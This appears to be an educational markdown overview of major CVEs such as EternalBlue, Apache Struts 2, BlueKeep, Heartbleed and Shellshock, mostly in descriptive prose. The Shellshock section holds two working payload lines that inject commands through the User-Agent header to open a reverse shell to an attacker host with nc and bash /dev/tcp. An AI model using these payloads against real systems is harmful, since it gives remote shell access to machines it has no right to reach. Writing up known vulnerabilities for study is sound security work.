# Common Vulnerabilities and Exposures

## Big CVEs in the last 5 years.

### CVE-2017-0144 - EternalBlue

EternalBlue exploits a vulnerability in Microsoft's implementation of the Server Message Block (SMB) protocol. The vulnerability exists because the SMB version 1 (SMBv1) server in various versions of Microsoft Windows mishandles specially crafted packets from remote attackers, allowing them to execute arbitrary code on the target computer.

Afftected systems:

- Windows Vista SP2
- Windows Server 2008 SP2 and R2 SP1
- Windows 7 SP1
- Windows 8.1
- Windows Server 2012 Gold and R2
- Windows RT 8.1
- Windows 10 Gold, 1511, and 1607
- Windows Server 2016

### CVE-2017-5638 - Apache Struts 2

On March 6th, a new remote code execution (RCE) vulnerability in Apache Struts 2 was made public. This recent vulnerability, CVE-2017-5638, allows a remote attacker to inject operating system commands into a web application through the “Content-Type” header.

### CVE-2018-7600 - Drupalgeddon 2

A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being completely compromised.

### CVE-2019-0708 - BlueKeep

A remote code execution vulnerability exists in Remote Desktop Services – formerly known as Terminal Services – when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction. An attacker who successfully exploited this vulnerability could execute arbitrary code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.

### CVE-2019-19781 - Citrix ADC Netscaler

A remote code execution vulnerability in Citrix Application Delivery Controller (ADC) formerly known as NetScaler ADC and Citrix Gateway formerly known as NetScaler Gateway that, if exploited, could allow an unauthenticated attacker to perform arbitrary code execution.

Affected products:

- Citrix ADC and Citrix Gateway version 13.0 all supported builds
- Citrix ADC and NetScaler Gateway version 12.1 all supported builds
- Citrix ADC and NetScaler Gateway version 12.0 all supported builds
- Citrix ADC and NetScaler Gateway version 11.1 all supported builds
- Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds

## Older, but not forgotten

### CVE-2014-0160 - Heartbleed

The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).

### CVE-2014-6271 - Shellshock

Shellshock, also known as Bashdoor is a family of security bug in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.

```
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 10.0.0.2
4444 -e /bin/sh\r\n"
curl --silent -k -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.0.0.2/4444
0>&1" "https://10.0.0.1/cgi-bin/admin.cgi"
```

## Thanks to

- Heartbleed - Official website
- Shellshock - Wikipedia
- Imperva Apache Struts analysis
- EternalBlue - Wikipedia
- BlueKeep - Microsoft